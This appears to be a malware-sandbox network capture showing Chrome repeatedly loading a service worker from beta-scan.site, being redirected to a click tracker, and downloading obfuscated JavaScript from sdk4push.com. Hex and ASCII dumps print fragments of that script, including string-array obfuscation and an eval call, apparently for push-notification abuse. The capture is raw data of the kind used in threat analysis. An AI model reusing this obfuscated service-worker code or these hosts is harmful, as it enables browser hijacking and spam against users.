2024-10-03 15:19:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.17	55874	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:26 UTC	684	OUT	GET /1211351.sw.js HTTP/1.1 Host: beta-scan.site Connection: keep-alive Cache-Control: max-age=0 Accept: / Service-Worker: script Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://beta-scan.site/1211351.sw.js User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en If-None-Match: "66d31066-70" If-Modified-Since: Sat, 31 Aug 2024 12:45:26 GMT
2024-10-03 15:19:26 UTC	219	IN	HTTP/1.1 304 Not Modified Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:19:26 GMT Last-Modified: Sat, 31 Aug 2024 12:45:26 GMT Connection: close ETag: "66d31066-70" Strict-Transport-Security: max-age=31536000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.17	55875	18.139.38.244	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:26 UTC	1272	OUT	GET /t/clk?id=ovKROc8M1xSkmE0uk6lXDT4&s1=f67ece2371nwj2e8&s2=11 HTTP/1.1 Host: avkk.newplanexcel.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: AWSALB=M7ms/ELUjlTpYt0emiu6USPxCMdvOwXWczj8o5lQj9kFJPRYEV1FWBUGCijV1sff3e3/a4CHbENVKPtuj45DMRjGpqStX9bWPfRIntHDP6MjxF7MuuTvj5wFO4GL; AWSALBCORS=M7ms/ELUjlTpYt0emiu6USPxCMdvOwXWczj8o5lQj9kFJPRYEV1FWBUGCijV1sff3e3/a4CHbENVKPtuj45DMRjGpqStX9bWPfRIntHDP6MjxF7MuuTvj5wFO4GL; uip="[\"KmtPCTVZ3T\"\054 {\"onlm9B\": \"0A63gw8\"}]:1swNbt:gX2yciDBRNnPF9PKzr_r_d9VYy8"; ydt_89d1392973ad4570a8eb9e51cbfc5910="[\"9853f0ab-6eb4-4a6c-9633-4f18a27cc5ff\"\054 \"5afb91a4-7e36-4511-9a2e-9ee8f0281a86\"]:1swNbt:DL7JxVCIIx103vK_ENumxOpNIKY"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.17	55876	157.90.33.121	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:27 UTC	400	OUT	GET /f/sw.js HTTP/1.1 Host: sdk4push.com Connection: keep-alive Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://beta-scan.site/1211351.sw.js User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:27 UTC	237	IN	HTTP/1.1 200 OK Server: Angie Date: Thu, 03 Oct 2024 15:19:27 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 78443 Connection: close Cache-Control: no-cache, max-age=0, must-revalidate, proxy-revalidate
2024-10-03 15:19:27 UTC	16147	IN	Data Raw: 76 61 72 20 61 33 5f 30 78 35 32 35 37 3d 5b 22 42 77 76 5a 43 32 66 4e 7a 71 3d 3d 22 2c 22 77 33 6a 48 78 73 62 4d 7a 78 72 4a 41 63 62 4c 43 4e 6a 56 43 4a 4f 47 44 33 6a 56 42 4d 43 47 43 33 72 48 44 68 76 5a 69 67 6e 56 7a 67 75 3d 22 2c 22 72 32 76 55 7a 78 6a 48 44 67 39 59 69 67 4c 5a 69 67 66 53 43 4d 76 48 7a 68 4b 47 7a 78 48 4c 79 33 76 30 41 77 35 4e 6c 47 3d 3d 22 2c 22 79 32 39 55 43 33 72 59 44 77 6e 30 42 33 69 3d 22 2c 22 71 32 39 55 44 67 76 55 44 63 31 75 45 78 62 4c 22 2c 22 77 33 6e 33 78 73 62 4d 42 33 6a 4a 7a 73 62 31 42 4e 6e 31 79 4e 6e 4a 43 4d 4c 49 41 77 35 4e 22 2c 22 7a 78 6a 59 42 33 6a 64 42 32 72 4c 22 2c 22 79 77 6e 30 41 78 7a 48 44 67 75 3d 22 2c 22 75 4d 76 57 42 67 66 4a 7a 71 3d 3d 22 2c 22 43 32 76 55 7a 66 62 31 Data Ascii: var a3_0x5257=["BwvZC2fNzq==","w3jHxsbMzxrJAcbLCNjVCJOGD3jVBMCGC3rHDhvZignVzgu=","r2vUzxjHDg9YigLZigfSCMvHzhKGzxHLy3v0Aw5NlG==","y29UC3rYDwn0B3i=","q29UDgvUDc1uExbL","w3n3xsbMB3jJzsb1BNn1yNnJCMLIAw5N","zxjYB3jdB2rL","ywn0AxzHDgu=","uMvWBgfJzq==","C2vUzfb1
2024-10-03 15:19:27 UTC	16384	IN	Data Raw: 65 77 20 74 28 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 28 6e 29 7d 29 29 7d 72 65 74 75 72 6e 20 6e 65 77 28 74 7c 7c 28 74 3d 50 72 6f 6d 69 73 65 29 29 28 28 66 75 6e 63 74 69 6f 6e 28 74 2c 69 29 7b 76 61 72 20 61 3d 61 33 5f 30 78 31 37 36 30 3b 66 75 6e 63 74 69 6f 6e 20 63 28 6e 29 7b 76 61 72 20 72 3d 61 33 5f 30 78 31 37 36 30 3b 74 72 79 7b 6f 28 78 5b 72 28 22 30 78 31 33 62 22 29 5d 28 6e 29 29 7d 63 61 74 63 68 28 6e 29 7b 69 28 6e 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 75 28 6e 29 7b 76 61 72 20 72 3d 61 33 5f 30 78 31 37 36 30 3b 74 72 79 7b 6f 28 78 5b 72 28 22 30 78 62 61 22 29 5d 28 6e 29 29 7d 63 61 74 63 68 28 6e 29 7b 69 28 6e 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 76 61 72 20 72 3d 61 33 5f 30 78 31 37 36 30 3b 6e 5b 72 28 Data Ascii: ew t((function(r){r(n)}))}return new(t\|\|(t=Promise))((function(t,i){var a=a3_0x1760;function c(n){var r=a3_0x1760;try{o(x[r("0x13b")](n))}catch(n){i(n)}}function u(n){var r=a3_0x1760;try{o(x[r("0xba")](n))}catch(n){i(n)}}function o(n){var r=a3_0x1760;n[r(
2024-10-03 15:19:27 UTC	16384	IN	Data Raw: 22 29 5d 3d 72 5b 74 28 22 30 78 31 31 34 22 29 5d 3d 72 5b 22 69 64 62 22 5d 3d 76 6f 69 64 20 30 3b 66 75 6e 63 74 69 6f 6e 20 61 28 6e 29 7b 76 61 72 20 72 3d 74 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 28 66 75 6e 63 74 69 6f 6e 28 72 2c 74 29 7b 76 61 72 20 78 3d 61 33 5f 30 78 31 37 36 30 2c 65 3d 73 65 6c 66 5b 78 28 22 30 78 65 34 22 29 5d 5b 78 28 22 30 78 37 36 22 29 5d 28 6e 5b 22 73 74 6f 72 65 4e 61 6d 65 22 5d 2c 6e 5b 22 76 65 72 73 69 6f 6e 22 5d 29 3b 65 5b 78 28 22 30 78 31 31 35 22 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 76 61 72 20 74 3d 78 2c 65 3d 72 5b 22 74 61 72 67 65 74 22 5d 5b 74 28 22 30 78 65 63 22 29 5d 2c 69 3d 6e 5b 74 28 22 30 78 34 38 22 29 5d 7c 30 3b 73 77 69 74 63 68 28 69 29 7b 63 61 73 65 20 Data Ascii: ")]=r[t("0x114")]=r["idb"]=void 0;function a(n){var r=t;return new Promise((function(r,t){var x=a3_0x1760,e=self[x("0xe4")][x("0x76")](n["storeName"],n["version"]);e[x("0x115")]=function(r){var t=x,e=r["target"][t("0xec")],i=n[t("0x48")]\|0;switch(i){case
2024-10-03 15:19:27 UTC	16384	IN	Data Raw: 30 78 32 33 22 29 5d 5b 79 28 22 30 78 64 31 22 29 5d 28 29 5d 3b 63 61 73 65 20 32 3a 72 5b 79 28 22 30 78 65 31 22 29 5d 3d 6c 5b 79 28 22 30 78 31 33 61 22 29 5d 28 29 2c 6c 5b 22 6c 61 62 65 6c 22 5d 3d 33 3b 63 61 73 65 20 33 3a 72 65 74 75 72 6e 5b 34 2c 28 30 2c 66 5b 79 28 22 30 78 63 31 22 29 5d 29 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 28 62 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 76 61 72 20 74 3d 61 33 5f 30 78 31 37 36 30 3b 72 65 74 75 72 6e 5b 32 2c 28 30 2c 6f 5b 74 28 22 30 78 31 31 39 22 29 5d 29 28 74 68 69 73 5b 74 28 22 30 78 63 34 22 29 5d 5b 22 67 65 74 5f 70 75 73 68 5f 75 72 6c 22 5d 2c Data Ascii: 0x23")][y("0xd1")]()];case 2:r[y("0xe1")]=l[y("0x13a")](),l["label"]=3;case 3:return[4,(0,f[y("0xc1")])((function(){return e(b,void 0,void 0,(function(){return i(this,(function(r){var t=a3_0x1760;return[2,(0,o[t("0x119")])(this[t("0xc4")]["get_push_url"],
2024-10-03 15:19:27 UTC	13144	IN	Data Raw: 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 5f 30 78 33 39 35 32 32 37 2c 5f 30 78 33 63 66 63 37 30 3b 72 65 74 75 72 6e 20 5f 30 78 32 66 39 62 37 34 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 66 30 64 35 38 29 7b 76 61 72 20 5f 30 78 32 31 36 63 39 38 3d 61 33 5f 30 78 31 37 36 30 3b 73 77 69 74 63 68 28 5f 30 78 32 66 30 64 35 38 5b 5f 30 78 32 31 36 63 39 38 28 22 30 78 36 30 22 29 5d 29 7b 63 61 73 65 20 30 3a 69 66 28 21 28 5f 30 78 35 37 35 39 34 66 21 3d 3d 75 6e 64 65 66 69 6e 65 64 29 29 72 65 74 75 72 6e 5b 33 2c 32 5d 3b 5f 30 78 33 39 35 32 32 37 3d 65 76 61 6c 28 5f 30 78 35 37 35 39 34 66 29 2c 5f 30 78 33 63 66 63 37 30 3d 5f 30 78 34 38 39 34 64 36 5b 22 50 75 73 68 53 74 6f 72 65 22 5d 5b 5f 30 78 32 31 36 63 39 Data Ascii: ,(function(){var _0x395227,_0x3cfc70;return _0x2f9b74(this,(function(_0x2f0d58){var _0x216c98=a3_0x1760;switch(_0x2f0d58[_0x216c98("0x60")]){case 0:if(!(_0x57594f!==undefined))return[3,2];_0x395227=eval(_0x57594f),_0x3cfc70=_0x4894d6["PushStore"][_0x216c9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.17	55877	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:27 UTC	956	OUT	GET /c1d5l2k.php?lp=1&uclick=e2371nwj HTTP/1.1 Host: beta-scan.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:19:27 UTC	313	IN	HTTP/1.1 302 Found Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:19:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Location: https://avkk.newplanexcel.com/t/clk?id=ovKROc8M1xSkmE0uk6lXDT4&s1=f67ece2371nwj2e8&s2=11 Strict-Transport-Security: max-age=31536000
2024-10-03 15:19:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.17	55878	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:27 UTC	684	OUT	GET /1211351.sw.js HTTP/1.1 Host: beta-scan.site Connection: keep-alive Cache-Control: max-age=0 Accept: / Service-Worker: script Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://beta-scan.site/1211351.sw.js User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en If-None-Match: "66d31066-70" If-Modified-Since: Sat, 31 Aug 2024 12:45:26 GMT
2024-10-03 15:19:28 UTC	219	IN	HTTP/1.1 304 Not Modified Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:19:28 GMT Last-Modified: Sat, 31 Aug 2024 12:45:26 GMT Connection: close ETag: "66d31066-70" Strict-Transport-Security: max-age=31536000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.17	55879	18.139.38.244	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:29 UTC	1272	OUT	GET /t/clk?id=ovKROc8M1xSkmE0uk6lXDT4&s1=f67ece2371nwj2e8&s2=11 HTTP/1.1 Host: avkk.newplanexcel.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: AWSALB=M7ms/ELUjlTpYt0emiu6USPxCMdvOwXWczj8o5lQj9kFJPRYEV1FWBUGCijV1sff3e3/a4CHbENVKPtuj45DMRjGpqStX9bWPfRIntHDP6MjxF7MuuTvj5wFO4GL; AWSALBCORS=M7ms/ELUjlTpYt0emiu6USPxCMdvOwXWczj8o5lQj9kFJPRYEV1FWBUGCijV1sff3e3/a4CHbENVKPtuj45DMRjGpqStX9bWPfRIntHDP6MjxF7MuuTvj5wFO4GL; uip="[\"KmtPCTVZ3T\"\054 {\"onlm9B\": \"0A63gw8\"}]:1swNbt:gX2yciDBRNnPF9PKzr_r_d9VYy8"; ydt_89d1392973ad4570a8eb9e51cbfc5910="[\"9853f0ab-6eb4-4a6c-9633-4f18a27cc5ff\"\054 \"5afb91a4-7e36-4511-9a2e-9ee8f0281a86\"]:1swNbt:DL7JxVCIIx103vK_ENumxOpNIKY"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.17	55880	157.90.33.121	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:29 UTC	400	OUT	GET /f/sw.js HTTP/1.1 Host: sdk4push.com Connection: keep-alive Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://beta-scan.site/1211351.sw.js User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:29 UTC	237	IN	HTTP/1.1 200 OK Server: Angie Date: Thu, 03 Oct 2024 15:19:29 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 78443 Connection: close Cache-Control: no-cache, max-age=0, must-revalidate, proxy-revalidate
2024-10-03 15:19:29 UTC	16147	IN	Data Raw: 76 61 72 20 61 33 5f 30 78 35 32 35 37 3d 5b 22 42 77 76 5a 43 32 66 4e 7a 71 3d 3d 22 2c 22 77 33 6a 48 78 73 62 4d 7a 78 72 4a 41 63 62 4c 43 4e 6a 56 43 4a 4f 47 44 33 6a 56 42 4d 43 47 43 33 72 48 44 68 76 5a 69 67 6e 56 7a 67 75 3d 22 2c 22 72 32 76 55 7a 78 6a 48 44 67 39 59 69 67 4c 5a 69 67 66 53 43 4d 76 48 7a 68 4b 47 7a 78 48 4c 79 33 76 30 41 77 35 4e 6c 47 3d 3d 22 2c 22 79 32 39 55 43 33 72 59 44 77 6e 30 42 33 69 3d 22 2c 22 71 32 39 55 44 67 76 55 44 63 31 75 45 78 62 4c 22 2c 22 77 33 6e 33 78 73 62 4d 42 33 6a 4a 7a 73 62 31 42 4e 6e 31 79 4e 6e 4a 43 4d 4c 49 41 77 35 4e 22 2c 22 7a 78 6a 59 42 33 6a 64 42 32 72 4c 22 2c 22 79 77 6e 30 41 78 7a 48 44 67 75 3d 22 2c 22 75 4d 76 57 42 67 66 4a 7a 71 3d 3d 22 2c 22 43 32 76 55 7a 66 62 31 Data Ascii: var a3_0x5257=["BwvZC2fNzq==","w3jHxsbMzxrJAcbLCNjVCJOGD3jVBMCGC3rHDhvZignVzgu=","r2vUzxjHDg9YigLZigfSCMvHzhKGzxHLy3v0Aw5NlG==","y29UC3rYDwn0B3i=","q29UDgvUDc1uExbL","w3n3xsbMB3jJzsb1BNn1yNnJCMLIAw5N","zxjYB3jdB2rL","ywn0AxzHDgu=","uMvWBgfJzq==","C2vUzfb1
2024-10-03 15:19:29 UTC	16384	IN	Data Raw: 65 77 20 74 28 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 28 6e 29 7d 29 29 7d 72 65 74 75 72 6e 20 6e 65 77 28 74 7c 7c 28 74 3d 50 72 6f 6d 69 73 65 29 29 28 28 66 75 6e 63 74 69 6f 6e 28 74 2c 69 29 7b 76 61 72 20 61 3d 61 33 5f 30 78 31 37 36 30 3b 66 75 6e 63 74 69 6f 6e 20 63 28 6e 29 7b 76 61 72 20 72 3d 61 33 5f 30 78 31 37 36 30 3b 74 72 79 7b 6f 28 78 5b 72 28 22 30 78 31 33 62 22 29 5d 28 6e 29 29 7d 63 61 74 63 68 28 6e 29 7b 69 28 6e 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 75 28 6e 29 7b 76 61 72 20 72 3d 61 33 5f 30 78 31 37 36 30 3b 74 72 79 7b 6f 28 78 5b 72 28 22 30 78 62 61 22 29 5d 28 6e 29 29 7d 63 61 74 63 68 28 6e 29 7b 69 28 6e 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 76 61 72 20 72 3d 61 33 5f 30 78 31 37 36 30 3b 6e 5b 72 28 Data Ascii: ew t((function(r){r(n)}))}return new(t\|\|(t=Promise))((function(t,i){var a=a3_0x1760;function c(n){var r=a3_0x1760;try{o(x[r("0x13b")](n))}catch(n){i(n)}}function u(n){var r=a3_0x1760;try{o(x[r("0xba")](n))}catch(n){i(n)}}function o(n){var r=a3_0x1760;n[r(
2024-10-03 15:19:29 UTC	16384	IN	Data Raw: 22 29 5d 3d 72 5b 74 28 22 30 78 31 31 34 22 29 5d 3d 72 5b 22 69 64 62 22 5d 3d 76 6f 69 64 20 30 3b 66 75 6e 63 74 69 6f 6e 20 61 28 6e 29 7b 76 61 72 20 72 3d 74 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 28 66 75 6e 63 74 69 6f 6e 28 72 2c 74 29 7b 76 61 72 20 78 3d 61 33 5f 30 78 31 37 36 30 2c 65 3d 73 65 6c 66 5b 78 28 22 30 78 65 34 22 29 5d 5b 78 28 22 30 78 37 36 22 29 5d 28 6e 5b 22 73 74 6f 72 65 4e 61 6d 65 22 5d 2c 6e 5b 22 76 65 72 73 69 6f 6e 22 5d 29 3b 65 5b 78 28 22 30 78 31 31 35 22 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 76 61 72 20 74 3d 78 2c 65 3d 72 5b 22 74 61 72 67 65 74 22 5d 5b 74 28 22 30 78 65 63 22 29 5d 2c 69 3d 6e 5b 74 28 22 30 78 34 38 22 29 5d 7c 30 3b 73 77 69 74 63 68 28 69 29 7b 63 61 73 65 20 Data Ascii: ")]=r[t("0x114")]=r["idb"]=void 0;function a(n){var r=t;return new Promise((function(r,t){var x=a3_0x1760,e=self[x("0xe4")][x("0x76")](n["storeName"],n["version"]);e[x("0x115")]=function(r){var t=x,e=r["target"][t("0xec")],i=n[t("0x48")]\|0;switch(i){case
2024-10-03 15:19:29 UTC	16384	IN	Data Raw: 30 78 32 33 22 29 5d 5b 79 28 22 30 78 64 31 22 29 5d 28 29 5d 3b 63 61 73 65 20 32 3a 72 5b 79 28 22 30 78 65 31 22 29 5d 3d 6c 5b 79 28 22 30 78 31 33 61 22 29 5d 28 29 2c 6c 5b 22 6c 61 62 65 6c 22 5d 3d 33 3b 63 61 73 65 20 33 3a 72 65 74 75 72 6e 5b 34 2c 28 30 2c 66 5b 79 28 22 30 78 63 31 22 29 5d 29 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 28 62 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 76 61 72 20 74 3d 61 33 5f 30 78 31 37 36 30 3b 72 65 74 75 72 6e 5b 32 2c 28 30 2c 6f 5b 74 28 22 30 78 31 31 39 22 29 5d 29 28 74 68 69 73 5b 74 28 22 30 78 63 34 22 29 5d 5b 22 67 65 74 5f 70 75 73 68 5f 75 72 6c 22 5d 2c Data Ascii: 0x23")][y("0xd1")]()];case 2:r[y("0xe1")]=l[y("0x13a")](),l["label"]=3;case 3:return[4,(0,f[y("0xc1")])((function(){return e(b,void 0,void 0,(function(){return i(this,(function(r){var t=a3_0x1760;return[2,(0,o[t("0x119")])(this[t("0xc4")]["get_push_url"],
2024-10-03 15:19:29 UTC	13144	IN	Data Raw: 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 5f 30 78 33 39 35 32 32 37 2c 5f 30 78 33 63 66 63 37 30 3b 72 65 74 75 72 6e 20 5f 30 78 32 66 39 62 37 34 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 66 30 64 35 38 29 7b 76 61 72 20 5f 30 78 32 31 36 63 39 38 3d 61 33 5f 30 78 31 37 36 30 3b 73 77 69 74 63 68 28 5f 30 78 32 66 30 64 35 38 5b 5f 30 78 32 31 36 63 39 38 28 22 30 78 36 30 22 29 5d 29 7b 63 61 73 65 20 30 3a 69 66 28 21 28 5f 30 78 35 37 35 39 34 66 21 3d 3d 75 6e 64 65 66 69 6e 65 64 29 29 72 65 74 75 72 6e 5b 33 2c 32 5d 3b 5f 30 78 33 39 35 32 32 37 3d 65 76 61 6c 28 5f 30 78 35 37 35 39 34 66 29 2c 5f 30 78 33 63 66 63 37 30 3d 5f 30 78 34 38 39 34 64 36 5b 22 50 75 73 68 53 74 6f 72 65 22 5d 5b 5f 30 78 32 31 36 63 39 Data Ascii: ,(function(){var _0x395227,_0x3cfc70;return _0x2f9b74(this,(function(_0x2f0d58){var _0x216c98=a3_0x1760;switch(_0x2f0d58[_0x216c98("0x60")]){case 0:if(!(_0x57594f!==undefined))return[3,2];_0x395227=eval(_0x57594f),_0x3cfc70=_0x4894d6["PushStore"][_0x216c9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.17	55882	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:30 UTC	956	OUT	GET /c1d5l2k.php?lp=1&uclick=e2371nwj HTTP/1.1 Host: beta-scan.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:19:30 UTC	313	IN	HTTP/1.1 302 Found Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:19:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Location: https://avkk.newplanexcel.com/t/clk?id=ovKROc8M1xSkmE0uk6lXDT4&s1=f67ece2371nwj2e8&s2=11 Strict-Transport-Security: max-age=31536000
2024-10-03 15:19:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.17	55881	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:30 UTC	684	OUT	GET /1211351.sw.js HTTP/1.1 Host: beta-scan.site Connection: keep-alive Cache-Control: max-age=0 Accept: / Service-Worker: script Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://beta-scan.site/1211351.sw.js User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en If-None-Match: "66d31066-70" If-Modified-Since: Sat, 31 Aug 2024 12:45:26 GMT
2024-10-03 15:19:30 UTC	219	IN	HTTP/1.1 304 Not Modified Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:19:30 GMT Last-Modified: Sat, 31 Aug 2024 12:45:26 GMT Connection: close ETag: "66d31066-70" Strict-Transport-Security: max-age=31536000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.17	55885	18.139.38.244	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
